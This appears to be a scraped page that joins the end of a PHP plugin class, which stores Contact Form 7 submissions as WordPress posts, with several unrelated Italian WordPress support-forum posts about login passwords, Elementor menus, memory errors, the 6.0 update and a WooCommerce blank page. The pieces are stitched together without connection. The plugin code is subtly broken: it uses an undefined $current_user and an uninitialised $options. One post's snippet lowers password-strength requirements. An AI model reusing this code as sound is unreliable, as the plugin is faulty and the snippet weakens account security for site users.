           */
          public function load_plugin_textdomain()
          {
              $domain = 'cf7_to_wp';
              $locale = apply_filters('plugin_locale', get_locale(), $domain);
              load_textdomain($domain, WP_LANG_DIR . '/' . $domain . '/' . $domain . '-' . $locale . '.mo');
              load_plugin_textdomain($domain, false, dirname(plugin_basename($this->file)) . '/lang/');
          }
      
          /**
           * Register our post type to store messages.
           */
          public function register_form_msg_post_type()
          {
              register_post_type(
                  $this->post_type,
                  array(
                      'labels' => array(
                          'name' => __('Pratiche', 'cf7_to_wp'),
                          'singular_name' => __('Pratica', 'cf7_to_wp'),
                          'add_new' => __('Aggiungi nuova', 'cf7_to_wp'),
                          'add_new_item' => __('Aggiungi nuova pratica', 'cf7_to_wp'),
                          'edit' => __('Modifica', 'cf7_to_wp'),
                      ),
                      'description' => 'Pratiche e Servizi',
                      'has_archive' => true,
                      'publicly_queryable' => true,
                      'capability_type' => 'post',
                      'menu_position' => 32,
                      'show_ui' => true,
                      'show_in_menu' => true,
                      'public' => true,
                      'query_var' => true,
                      'menu_icon' => 'dashicons-buddicons-pm',
                      'taxonomies' => array('category'),
                      'supports' => array(
                          'author',
                          'title',
      					'category',
                          'editor',
                          'excerpt',
                          'trackbacks',
                          'page-attributes',
                          'custom-fields',
                          'thumbnail',
                          'sticky',
                      ),
                  )
              );
          }
      
          /**
           * Add bubble to admin menu
           *
           * @param array $menu
           * @return array $menu
           */
          public function menu_msg_form_bubble($menu)
          {
              $form_messages_count = wp_count_posts($this->post_type);
              $pending_count = $form_messages_count->draft + $form_messages_count->pending;
      
              foreach ($menu as $menu_key => $menu_data) {
                  if ("edit.php?post_type={$this->post_type}" !== $menu_data[2]) {
                      continue;
                  }
      
                  $menu[$menu_key][0] .= " <span class='update-plugins count-$pending_count'><span class='plugin-count'>" . number_format_i18n($pending_count) . '</span></span>';
              }
      
              return $menu;
          }
      
          /**
           * Add "Mark as read" action for our post type
           *
           * @param array $actions
           * @param WP_Post $post
           * @return array $actions
           */
          public function action_row_for_msg_posts($actions, $post)
          {
              if ($post->post_type === $this->post_type && $post->post_status !== 'publish') {
                  $actions['mark_as_read'] = sprintf(
                      '<a href="%s" class="aria-button-if-js" aria-label="%s">%s</a>',
                      wp_nonce_url("edit.php?post_type={$this->post_type}&action=mark_as_read&message_id={$post->ID}", "mark_message_as_read_{$post->ID}"),
                      esc_attr(__('Mark as read', 'cf7_to_wp')),
                      __('Mark as read', 'cf7_to_wp')
                  );
              }
      
              return $actions;
          }
      
          /**
           * Mark form message as read
           */
          public function maybe_mark_form_message_as_read()
          {
              if (isset($_GET['action']) && $_GET['action'] == 'mark_as_read' && isset($_GET['message_id'])) {
                  $message_id = (int) $_GET['message_id'];
      
                  if (isset($_GET['_wpnonce']) && wp_verify_nonce($_GET['_wpnonce'], "mark_message_as_read_{$message_id}")) {
                      $updated_post = wp_update_post(
                          array(
                              'ID' => $message_id,
                              'post_status' => 'publish',
                          )
                      );
      
                      wp_redirect(wp_get_referer());
                      exit();
                  }
              }
          }
      
          /**
           * Add new panel to CF7 form settings
           *
           * @param array $panels
           * @return array
           */
          public function add_cf7_panel($panels)
          {
              $panels['cf7-to-wp'] = array(
                  'title' => __('Salva messaggi', 'cf7_to_wp'),
                  'callback' => array($this, 'cf7_to_wp_form_metabox'),
              );
      
              return $panels;
          }
      
          /**
           * Output the content of our panel/metabox
           *
           * @param WPCF7_ContactForm $post CF7 object
           */
          public function cf7_to_wp_form_metabox($post)
          {
              $id = $post->id();
              $cf7towp = get_post_meta($id, '_cf7towp', true);
              $cf7towp = wp_parse_args(
                  $cf7towp,
                  array(
                      'active' => 0,
                      'title' => '',
                      'content' => '',
                      'category' => 0,
                  )
              );?>
      
      		<p style="margin-bottom:1em; font-size:1.25em;">
      			<?php _e('Abilitando la casella sottostante ogni modulo inviato compilato verrà pubblicato come nuovo articolo "Pratiche" privato.', 'cf7_to_wp');?>
      		</p>
      
      		<div class="mail-field" style="margin-bottom:1em;">
      			<label for="cf7towp-active">
      				<input type="checkbox" id="cf7towp-active" name="wpcf7-cf7towp-active" value="1" <?php checked($cf7towp['active'], 1);?> />
      				<strong><?php echo esc_html(__('Salvare i moduli compilati come articoli "Pratiche"?', 'cf7_to_wp')); ?></strong>
      			</label>
      
      		</div>
      
      		<div class="pseudo-hr"></div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-category"><?php echo esc_html(__('Categoria dell\'articolo', 'cf7_to_wp')); ?></label>
      				<select id="cf7towp-category" name="wpcf7-cf7towp-category">
      					<?php $this->get_category_options($id)?>
      				</select>
      			</p>
      		</div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-title"><?php echo esc_html(__('Titolo dell\'articolo', 'cf7_to_wp')); ?></label>
      				<input type="text" id="cf7towp-title" name="wpcf7-cf7towp-title" class="large-text" value="<?php echo esc_attr($cf7towp['title']); ?>" />
      			</p>
      		</div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-content"><?php echo esc_html(__('Contenuto dell\'articolo', 'cf7_to_wp')); ?></label>
      				<textarea id="cf7towp-content" name="wpcf7-cf7towp-content" cols="100" rows="10" class="large-text"><?php echo esc_attr($cf7towp['content']); ?></textarea>
      			</p>
      		</div>
      
      		<hr>
      
      		<p class="description" style="margin-top:.5em;">
      			<span style="float:left; width:60%;">
      				<?php _e('Usa i classici CF7 [mail-tag] per i contenuti dinamici nel titolo e nel contenuto (li trovi sulla tab Mail).', 'cf7_to_wp');?>
      			</span>
      			<span style="text-align:right; float:right; width:40%;">
      				<?php
      $credits_link = '<a target="_blank" href="https://github.com/psaikali/contact-form-to-wp-posts">Fonte</a>';
              printf(__('A Contact Form 7 addon by %1$s', 'cf7_to_wp'), $credits_link);
              ?>
      			</span>
      		</p>
      
      		<hr>
      	<?php }
      
          /**
           * Get category field data
           */
      
          public function get_category_options($id)
          {
      
              $cf7towp = get_post_meta($id, '_cf7towp', true);
              $cf7towp = wp_parse_args(
                  $cf7towp,
                  array(
                      'active' => 0,
                      'title' => '',
                      'content' => '',
                      'category' => 0,
                  )
              );
      
              $args = array(
                  'taxonomy' => 'category',
                  'hide_empty' => false,
              );
      
              $terms = get_terms($args);
      
              foreach ($terms as $term) {
                  $options .= '<option value="' . $term->term_id . '" ' . selected($cf7towp['category'], $term->term_id, true) . '>' . $term->name . '</option>';
              }
      
              echo $options;
      
          }
      
          /**
           * Save metabox/tab data when CF7 form settings page is saved.
           *
           * @param WPCF7_ContactForm $contact_form
           */
          public function save_cf7_data($contact_form)
          {
              global $user_id;
              $user_id = get_current_user_id();
              $id = $contact_form->id();
              $cf7towp = array();
              $cf7towp['active'] = (!empty($_POST['wpcf7-cf7towp-active']));
      
              if (isset($_POST['wpcf7-cf7towp-title'])) {
                  $cf7towp['title'] = sanitize_text_field($_POST['wpcf7-cf7towp-title']);
              }
      
              if (isset($_POST['wpcf7-cf7towp-content'])) {
                  $cf7towp['content'] = wp_kses_post($_POST['wpcf7-cf7towp-content']);
              }
      
              if (isset($_POST['wpcf7-cf7towp-category'])) {
                  $cf7towp['category'] = wp_kses_post($_POST['wpcf7-cf7towp-category']);
              }
      
              update_post_meta($id, '_cf7towp', $cf7towp);
          }
      
          /**
           * Create a Messages post when form is submitted
           *
           * @param WPCF7_ContactForm $contact_form
           */
      
          public function get_current_user_id()
          {
              if (class_exists('Jwt_Auth_Public')) {
                  $jwt = new \Jwt_Auth_Public('jwt-auth', '1.1.0');
                  $token = $jwt->validate_token(false);
                  if (\is_wp_error($token)) {
                      return false;
                  }
      
                  return $token->data->user->id;
              } else {
                  return false;
              }
          }
      
          public function create_post_on_form_submission($contact_form)
          {
      
              $form_post = $contact_form->id();
              $cf7towp_data = get_post_meta($form_post, '_cf7towp', true);
      
              if ($cf7towp_data['active'] === true) {
                  $submission = WPCF7_Submission::get_instance();
      
                  if ($submission) {
                      $meta = array();
                      $meta['ip'] = $submission->get_meta('remote_ip');
                      $meta['ua'] = $submission->get_meta('user_agent');
                      $meta['url'] = $submission->get_meta('url');
                      $meta['date'] = date_i18n(get_option('date_format'), $submission->get_meta('timestamp'));
                      $meta['time'] = date_i18n(get_option('time_format'), $submission->get_meta('timestamp'));
                  }
      
                  $post_title_template = $cf7towp_data['title'];
                  $post_content_template = $cf7towp_data['content'];
                  $post_category[] = $cf7towp_data['category'];
      
                  $post_title = wpcf7_mail_replace_tags(
                      $post_title_template,
                      array(
                          'html' => true,
                          'exclude_blank' => true,
                          'has_archive' => true,
                      )
                  );
      
                  $post_content = wpcf7_mail_replace_tags(
                      $post_content_template,
                      array(
                          'html' => true,
                          'exclude_blank' => true,
                          'has_archive' => true,
                      )
                  );
      
                  $new_form_msg = wp_insert_post(
      
                      array(
                          'post_type' => $this->post_type,
                          'post_title' => $post_title,
                          'post_content' => $post_content,
                          'post_author' => $current_user -> ID,
                          'post_status' => 'private',
                          'has_archive' => true,
                          'post_category' => $post_category,
                      )
                  );
      
                  if ($submission) {
                      update_post_meta($new_form_msg, 'cf7towp_meta', $meta, );
                  }
              }
          }
      
          /**
           * Main cf7_to_wp singleton instance
           *
           * Ensures only one instance of cf7_to_wp is loaded or can be loaded.
           *
           * @static
           * @see cf7_to_wp()
           * @return Main cf7_to_wp instance
           */
          public static function instance($file = '', $version = '0.1')
          {
              if (is_null(self::$_instance)) {
                  self::$_instance = new self($file, $version);
              }
              return self::$_instance;
          }
      
          /**
           * Cloning is forbidden.
           *
           */
          public function __clone()
          {
              _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
          }
      
          /**
           * Unserializing instances of this class is forbidden.
           *
           */
          public function __wakeup()
          {
              _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
          }
      }
    Chi ha creato la discussione august1890

    (@august1890)

    Ciao!

    Grazie per la risposta.

    Quando un user si registra sul sito , entra la password. ma quando fa il login, wordpress dirige l’user verso una pagina per reimpostare la password con una strong…. Vorrei che l’user si collegasse direttamente nel suo account sul sito senza passare da wordpress.

    Ecco il codice che uso ma non funziona:

    add_action(‘login_enqueue_scripts’, function(){
    wp_dequeue_script(‘user-profile’);
    wp_dequeue_script(‘password-strength-meter’);
    wp_deregister_script(‘user-profile’);

    $suffix = SCRIPT_DEBUG ? ” : ‘.min’;
    wp_enqueue_script( ‘user-profile’, “/wp-admin/js/user-profile$suffix.js”, array( ‘jquery’, ‘wp-util’ ), false, 1 );
    });

    function gomahamaya_reduce_woocommerce_min_strength_requirement( $strength ) {
    return 2;
    }
    add_filter( ‘woocommerce_min_password_strength’, ‘gomahamaya_reduce_woocommerce_min_strength_requirement’ );

    Chi ha creato la discussione adb75

    (@adb75)

    Ho creato menù in WordPress e ho scelto di farlo vedere sull’header.

    Poi da dentro a Elementor sono andato in impostazioni sito – header e ho spuntato per mostrare logo e menù, il tema Hello Elementor mi dava la possibilità di farlo.

    Non so se c’entra, i breakpoint per mobile sono 767px e per tablet 1024px

    Ti copio queste informazioni, ci sono informazioni e registro con degli errori.

    == WordPress Environment ==
    Version: 6.3.1
    Site URL: https://psicologoautorevole.it
    Home URL: https://psicologoautorevole.it
    WP Multisite: No
    Max Upload Size: 256 MB
    Memory limit: 256M
    Max Memory limit: 768M
    Permalink Structure: /%postname%/
    Language: it-IT
    Timezone: 0
    Debug Mode: Inactive == Theme ==
    Name: Hello Elementor
    Version: 2.8.1
    Author: Elementor Team
    Child Theme: No == User ==
    Role: administrator
    WP Profile lang: it_IT
    User Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36 == Active Plugins ==
    Elementor
    Version: 3.16.2
    Author: Elementor.com GTM4WP
    Version: 1.18.1
    Author: Thomas Geiger iubenda | All-in-one Compliance for GDPR / CCPA Cookie Consent + more
    Version: 3.7.4
    Author: iubenda Newsletter, SMTP, Email marketing and Subscribe forms by Brevo
    Version: 3.1.70
    Author: Brevo Query Monitor
    Version: 3.13.1
    Author: John Blackbourn SiteGround Central
    Version: 3.0.1
    Author: SiteGround SiteGround Optimizer
    Version: 7.4.1
    Author: SiteGround SiteGround Security
    Version: 1.4.5
    Author: SiteGround Social Chat
    Version: 7.1.5
    Author: QuadLayers Stop Spammers
    Version: 2023.4.1
    Author: Trumani Xpro Elementor Addons
    Version: 1.3.8
    Author: Xpro Yoast SEO
    Version: 21.1
    Author: Team Yoast == Esperimenti Elementor ==
    Uscita DOM ottimizzata: Inattivo
    Caricamento delle risorse migliorato: Inattivo
    Caricamento CSS migliorato: Inattivo
    Icone dei font in linea: Attiva
    Punti di interruzione aggiuntivi: Inattivo
    admin_menu_rearrangement: Inattivo per impostazione predefinita
    Contenitore Flexbox: Attiva
    Aggiorna la libreria Swiper: Attiva
    Contenitore Griglia: Inattivo per impostazione predefinita
    Header e Footer del tema Hello: Attiva
    Barra unificata degli strumenti dell'editor: Inattivo per impostazione predefinita
    Landing Page: Attiva
    Elementi annidati: Attiva
    Lazy Load immagini di sfondo: Attiva
    Guida di stile globale: Inattivo per impostazione predefinita
    == Registro ==
    JS: showing 11 of 11JS: 2023-07-27 23:20:20 [error X 14][https://psicologoautorevole.it/wp-includes/js/jquery/jquery.min.js?ver=3.6.4:2:31823] Cannot read properties of undefined (reading 'value')
    JS: 2023-08-21 15:31:07 [error X 155][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/lib/pickr/pickr.min.js?ver=1.5.0:2:14799] Cannot read properties of null (reading 'clone')
    JS: 2023-08-21 15:31:09 [error X 5][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/lib/pickr/pickr.min.js?ver=1.5.0:2:19552] Cannot read properties of null (reading 'changestop')
    JS: 2023-08-23 12:29:54 [error X 9][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:917217] elementorFrontend is not defined
    JS: 2023-08-30 08:44:09 [error X 6][https://psicologoautorevole.it/wp-includes/js/jquery/jquery.min.js?ver=3.7.0:2:28722] elementor_new_template_form_controls is not defined
    JS: 2023-08-31 13:32:10 [error X 1][https://psicologoautorevole.it/wp-content/plugins/xpro-elementor-addons/assets/js/xpro-widgets.js?ver=1.3.8:1:21513] Cannot read properties of undefined (reading 'size')
    JS: 2023-09-01 12:20:34 [error X 19][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.15.3:2:12920] Cannot read properties of undefined (reading 'attributes')
    JS: 2023-09-01 12:22:30 [error X 1][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:642692] Cannot read properties of undefined (reading 'isDesignable')
    JS: 2023-09-01 15:23:24 [error X 1][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:670813] elementorFrontend.elements.window.jQuery is not a function
    JS: 2023-09-10 23:47:55 [error X 3][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:838767] Cannot convert undefined or null to object
    JS: 2023-09-12 08:17:47 [error X 1][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/responsive-bar.min.js?ver=3.15.3:2:5951] Cannot read properties of null (reading 'config') == Elementor - Compatibility Tag ==

    Xpro Elementor Addons: Compatibilità non specificata
    • Buongiorno a tutti,

      sto provando ad aggiornare alcune immagine che ho caricato via ftp e inserirle in Media come avevo fatto in passato. Utilizzo entrambi i plugin in oggetto ma entrambi mi danno errore, penso che sia memoria. Sia in wpconfig che in PHP ho già portato a 512M.

      copio qui di seguito il log grazie mille!

      2023-07-04 07:47:28Warning93.94.27.45AH01071: Got error ‘PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94’, referer: https://misterbilliard.com/wp-admin/upload.php?page=media-sync-pageApache error2023-07-04 07:47:29Warning93.94.27.45AH01071: Got error ‘PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94’, referer: https://misterbilliard.com/wp-admin/upload.php?page=media-sync-pageApache error2023-07-04 07:47:30Access93.94.27.45200POST /wp-admin/admin-ajax.php HTTP/2.044nginx SSL/TLS access2023-07-04 07:47:30Warning93.94.27.4512117#0: *1263564 FastCGI sent in stderr: “PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94” while reading response header from upstreamnginx error2023-07-04 07:47:33Error95.110.131.235499POST /wp-admin/admin-ajax.php?action=as_async_request_queue_runner&nonce=9a9cc25980 HTTP/1.10nginx SSL/TLS access2023-07-04 07:47:33Error93.94.27.45500GET /wp-admin/upload.php?page=media-sync-page&scan_files=1 HTTP/2.0297nginx SSL/TLS access2023-07-04 07:47:33Warning93.94.27.4512117#0: *1263564 FastCGI sent in stderr: “PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94; PHP message: PHP Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 16384 bytes) in /var/www/vhosts/misterbilliard.com/httpdocs/wp-includes/class-wpdb.php on line 2431” while reading response header from upstreamnginx error2023-07-04 07:47:33Error93.94.27.4512117#0: *1263564 FastCGI sent in stderr: “; PHP message: WordPress database error Commands out of sync; you can’t run this command now for query SELECT option_value FROM MhNyT_options WHERE option_name = ‘jpsq_sync_checkout’ made by shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Sync\Sender->do_sync, Automattic\Jetpack\Sync\Dedicated_Sender::spawn_sync, Automattic\Jetpack\Sync\Queue->is_locked, Automattic\Jetpack\Sync\Queue->get_checkout_id; PHP message: WordPress database error Commands out of sync; you can’t run this command now for query SELECT count(*) FROM MhNyT_options WHERE option_name LIKE ‘jpsq_sync-%’ made by shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Sync\Sender->do_sync, Automattic\Jetpack\Sync\Dedicated_Sender::spawn_sync, Automattic\Jetpack\Sync\Queue->size; PHP message: WordPress database error Commands out of sync; you can’t run this command now for query SELECT option_value FROM MhNyT_options WHERE option_name = ‘jetpack_sync_full_status’ LIMIT 1 made by shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Sync\Sender->do_full_sync, Automattic\Jetpack\Sync\Modules\Full_Sync_Immediately->get_status, Jetpack_Options::get_raw_option” while reading upstreamnginx error2023-07-04 07:47:35Access93.94.27.45200POST /wp-json/wpml/tm/v1/ate/jobs/retry HTTP/1.01002Apache SSL/TLS access2023-07-04 07:47:36Access93.94.27.45200POST /wp-json/wpml/tm/v1/ate/jobs/sync HTTP/1.01.08 KApache SSL/TLS access2023-07-04 07:47:36Warning93.94.27.45AH01071: Got error ‘PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94’, referer: https://misterbilliard.com/wp-admin/upload.php?page=media-sync-pageApache error2023-07-04 07:47:37Warning93.94.27.45AH01071: Got error ‘PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94’, referer: https://misterbilliard.com/wp-admin/upload.php?page=media-sync-pageApache error2023-07-04 07:47:37Access93.94.27.45200POST /wp-admin/admin-ajax.php HTTP/2.044nginx SSL/TLS access2023-07-04 07:47:37Warning93.94.27.4512117#0: *1263564 FastCGI sent in stderr: “PHP message: PHP Warning: Constant WP_MEMORY_LIMIT already defined in /var/www/vhosts/misterbilliard.com/httpdocs/wp-config.php on line 94” while reading response header from upstreamnginx error2023-07-04 07:47:39Error95.110.131.235499POST /wp-admin/admin-ajax.php?action=as_async_request_queue_runner&nonce=9a9cc25980 HTTP/1.10nginx SSL/TLS access

      La pagina su cui ho bisogno di aiuto: [devi essere connesso per vedere il link]

    • Moderator Cristiano Zanca

      (@cristianozanca)


      Avete appena aggiornato a WordPress 6.0! Ma cos’è successo? Si è rotto qualcosa? O forse avete solo qualche domanda da porre? Questa guida vi aiuterà a risolvere i problemi e le domande più comuni dopo il nuovo aggiornamento.

      Se il vostro sito si è bloccato, niente panico!

      Prima di continuare, assicuratevi di aver aggiornato i plugin e i temi alle versioni più recenti, di aver cancellato la cache e i cookie del browser e di aver effettuato nuovamente l’accesso alla Bacheca del vostro sito WordPress.

      Avete ancora problemi? Ok, continuate a leggere!

      Questa discussione contiene i problemi noti con i plugin e i temi presenti nell’ultima versione. Vi consigliamo di leggere TUTTO il topic e di tornare a controllarlo nel futuro, perché verrà aggiornato.

      Ricordate di rimanere calmi, oltre che essere pazienti e rispettosi. I volontari sono qui per cercare di aiutarvi, ma abbiamo bisogno anche del vostro aiuto. Tutte le normali regole del forum sono ancora valide. Ricordate che siete importanti quanto gli altri.

      Se il vostro post non viene visualizzato subito, state tranquilli: con un volume di messaggi superiore al normale, molti di questi vengono segnalati come spam dal nostro tool antispam. Stiamo lavorando duramente per mantenere la coda libera, ma la pubblicazione di più messaggi ci rallenta, in quanto dobbiamo tornare indietro e controllare se avete già postato. Vi consigliamo di pubblicare una volta sola.

      • Usate la maiuscola nei titoli e nel corpo dei post. Punteggiate le frasi in modo corretto e umano, ci aiuta a leggere.
      • Utilizzate l’oggetto per la descrizione. “Tutti i permalink non funzionano da 5.0” è molto meglio di “Ehi! Aiutatemi presto! Questa versione è terribile!”.
      • Descrivete chiaramente il problema. Spiegate cosa vedete, includete i messaggi di errore e riportate gli screenshot quando necessario. Anche il link al vostro sito è utile, se il problema è sul frontend,
      • Siate pazienti. Sappiamo che è bruttissimo essere bloccati, ma inviare più volte un messaggio non vi aiuterà più velocemente.
      • Non creare un proprio argomento a meno che non si utilizzi la stessa versione di WordPress sullo stesso server fisico ospitato dallo stesso host con gli stessi plugin, tema e configurazioni del postatore originale. Forse vi sembrerà strano, ma sarà più facile per noi aiutarvi in modo specifico se avete un vostro argomento.
      • Contrassegnate il vostro argomento come risolto quando è stato risolto, così sapremo che non dovremo più cercarlo.
        Ricordate che non siete soli.

      Tenete presente che il fatto che non vi piaccia come sta evolvendo il design di WordPress non è un bug. Se non vi piace una funzionalità, non fate una serie di post per lamentarvene. Cercate di vedere se qualcuno l’ha già fatto e postate lì, oppure prendete in considerazione l’idea di unirvi prima al team preposto per dare un aiuto (ad esempio in Beta o anche in test tramite SVN). Quello che vedete oggi è il risultato di migliaia di ore di lavoro e di test e, a meno che qualcosa non sia completamente rotto, è altamente improbabile che venga cambiato.

      Di nuovo, prima di pubblicare qualcosa:

      Assicuratevi di aver letto l’intera discussione e l’articolo sulle nuove funzionalità della versione 6.0.

      Andate alla pagina informativa della vostra installazione – example.com/wp-admin/about.php (oppure cliccate sul logo di WordPress nell’angolo in alto) – per scoprire le novità.

      Avete ancora problemi dopo aver seguito i passaggi di risoluzione dei problemi indicati di seguito? Non esitate a porre la vostra domanda nel forum di supporto.

      What’s New in 6.0?
      Avete già letto la Guida pratica di WordPress 6.0?
      Diamo il benvenuto a Arturo, WordPress 6.0.

      I proprietari e gli amministratori dei siti dovrebbero effettuare l’aggiornamento per trarre il massimo vantaggio dai numerosi miglioramenti in termini di stabilità, prestazioni e usabilità. I creatori di contenuti potranno usufruire di una serie di nuove funzionalità volte a migliorare l’esperienza di scrittura e progettazione su WordPress.

      I miglioramenti per agevolare la scrittura sono numerosi, sia che si tratti di scrivere un nuovo articolo o di aggiungere elementi a una pagina esistente. Scoprite altri modi per semplificare il processo di creazione dei contenuti, tra cui:

        <li style=”list-style-type: none”>
      • Selezionare il testo in più blocchi e modificarlo in una sola volta.
      • Digitare due parentesi aperte [[ per accedere rapidamente al menu dei collegamenti.
      • Mantenere gli stili esistenti quando si trasformano alcuni blocchi da un tipo a un altro, ad esempio da un blocco Paragrafo a un blocco Codice.
      • Create pulsanti personalizzati e ogni nuovo pulsante che inserirete manterrà automaticamente le personalizzazioni dello stile.
      • Rendere i tag cloud e le icone social ancora più attraenti con impostazioni e controlli aggiornati e un nuovo stile di contorno per la tag cloud.

      Cambio dello stile

      • I temi a blocchi includono ora la possibilità di contenere più varianti di stile. Questo amplia ulteriormente il nuovo sistema di stili e consente di cambiare l’aspetto del sito all’interno di un unico tema. È possibile modificare sia le impostazioni disponibili, come lo stile dei caratteri, sia le opzioni, come la tavolozza dei colori predefinita. Cambiate l’aspetto del vostro sito con pochi click.

      Scoprite di più sul vostro sito con WordPress 6.0!

      WordPress è un software progettato per tutti, con particolare attenzione all’accessibilità, alle prestazioni, alla sicurezza e alla facilità d’uso. Il progetto ritiene che un ottimo software debba funzionare con una configurazione minima, in modo che possiate concentrarvi sulla condivisione della vostra storia, del vostro prodotto o dei vostri servizi. Il software WordPress di default è semplice e intuitivo, per cui è facile iniziare a lavorare. Offre anche potenti funzionalità per la crescita e il successo.

      WordPress crede nella democratizzazione della pubblicazione e nelle libertà che derivano dall’open source. A sostegno di questa idea c’è un’ampia comunità di persone che collaborano e contribuiscono a questo progetto. La comunità di WordPress è accogliente e inclusiva. La passione dei nostri collaboratori guida il successo di WordPress che, a sua volta, vi aiuta a raggiungere i vostri obiettivi.

      Risoluzione dei problemi:
      Prima di inviare il messaggio, accertatevi di aver iniziato ad eseguire i suggerimenti per la risoluzione dei problemi descritti di seguito:

      • Eliminare tutti i plugin di caching in esecuzione, nonché le cache del server e/o del browser. Non solo il browser, ma anche qualsiasi cache op o cache della rete di contenuti, come Cloudflare. Questo risolverà molti strani problemi di JavaScript.
      • Eliminare le cache degli host gestiti. Gli hosting WP gestiti hanno spesso cache speciali. Se il vostro host ha uno strumento “Purge Varnish” o “Flush Memcache”, provatelo. Se necessario, potete chiedere al vostro provider di eliminare memcache e Varnish per voi.
      • Salvate nuovamente le impostazioni dei Permalink. In alcuni casi, abbiamo visto installatori di terze parti, come Softaculous, creare siti con regole leggermente errate nel file .htaccess. Mentre queste regole non avrebbero costituito un problema nelle versioni precedenti, la presenza di queste regole errate può interrompere l’API REST nelle versioni più recenti. Il salvataggio dei permalink nella pagina Impostazioni->Permalink di WordPress correggerà queste regole nel file .htaccess e forse risolverà gli errori “non riusciti” nel nuovo editor.
      • Risoluzione dei problemi con il browser. Il vostro browser può aiutarvi a identificare problemi o conflitti JavaScript e questo articolo può aiutarvi a fare questa diagnosi. Questo può aiutare a identificare anche i problemi dell’editor visuale.
      • Assicuratevi di avere l’Editor visuale abilitato. Visitare la pagina Utenti->Profilo. La prima opzione disabilita l’editor visuale. Assicurarsi che l’opzione sia deselezionata e salvare le impostazioni del profilo.
      • Disattivare tutti i plugin (confermato, tutti) per vedere se il problema si risolve. Se funziona, riattivare i plugin uno alla volta fino a trovare quello o quelli problematici. Se non è possibile accedere alla dashboard di amministrazione, provare a ripristinare la cartella dei plugin tramite SFTP/FTP o PhpMyAdmin (leggere “Come disattivare tutti i plugin quando non è possibile accedere a wp-admin” se si ha bisogno di aiuto). A volte, un plugin apparentemente inattivo può ancora causare problemi. Ricordate anche di disattivare tutti i plugin presenti nella cartella mu-plugins. Il modo più semplice è rinominare la cartella in mu-plugins-old.
      • Se è possibile installare i plugin, installare “Health Check”: https://wordpress.org/plugins/health-check/. Nella scheda di risoluzione dei problemi, è possibile fare click sul pulsante per disattivare tutti i plugin e cambiare il tema, mentre si è ancora connessi, senza influenzare i normali visitatori del sito.
      • Passare al tema Twenty Twenty One per escludere qualsiasi problema specifico del tema. Se non è possibile accedere per cambiare il tema, è possibile rimuovere le cartelle dei temi tramite SFTP/FTP, in modo che l’unica sia twentytwentyone. Questo costringerà il sito a utilizzarlo.
      • Aggiornamento manuale. Se tutto il resto fallisce, scaricare una copia fresca del file latest.zip di questa versione (in alto a destra su questa pagina) sul computer e usarlo per eseguire la copia. Potrebbe essere necessario eliminare le cartelle wp-admin e wp-includes sul server (NOTA: non eliminare la cartella wp-content o il file wp-config.php). Leggete prima le istruzioni per l’aggiornamento manuale.

      Se il problema persiste ed è legato a elementi che non funzionano più come previsto, ad esempio uno slider o un pulsante, è possibile che si verifichino problemi con la libreria JavaScript jQuery. Provate il plugin Enable jQuery Migrate Helper e vedete se questo risolve il problema.
      Se è necessario creare un topic di supporto, è possibile fornire i dati di debug per i volontari del supporto visitando la sezione Salute del sito in Tools > Site Health > Info.

      traduzione di @deadpool76

       

      Problemi noti:

      L’inserimento di un blocco classico utilizzando lo slash manda in crash l’editor se la barra laterale è aperta. vedi https://github.com/WordPress/gutenberg/issues/41321

      Elementi  già presenti nella lista per la versione 6.0.1

      vedi https://core.trac.wordpress.org/query?status=accepted&status=assigned&status=new&status=reopened&status=reviewing&milestone=6.0.1&col=id&col=summary&col=status&col=owner&col=type&col=priority&col=milestone&order=priority

    • Hello,
      I’m trying to figure out with the Home and the customer pages only of Woocommerce when clicked are loading and then blank content.

      I’ve my website fully updated, and as recommended I started disabling all plugins, switching back to the Twenty-twenty themes but nothing change. Even after relading the page without cache ( CTRL + SHIFT + R ).

      I had a look with F12 and I see the following problems:

      1) First error, related to the file path just below.
      Failed to load resource: the server responded with a status of 404 ()
      https://adamahstore.com/wp-content/plugins/woocommerce/packages/woocommerce-admin/dist/components/index.js?ver=3.2.1

      2) Second erro, related to the files linked here: https://adamahstore.com/wp-includes/js/dist/vendor/react-dom.min.js?ver=17.0.1

      TypeError: Cannot read properties of undefined (reading 'Spinner')
          at ne.render (index.js?ver=3.2.1:2:17797)
          at Te (react-dom.min.js?ver=17.0.1:119:308)
          at Ch (react-dom.min.js?ver=17.0.1:119:105)
          at Pj (react-dom.min.js?ver=17.0.1:233:139)
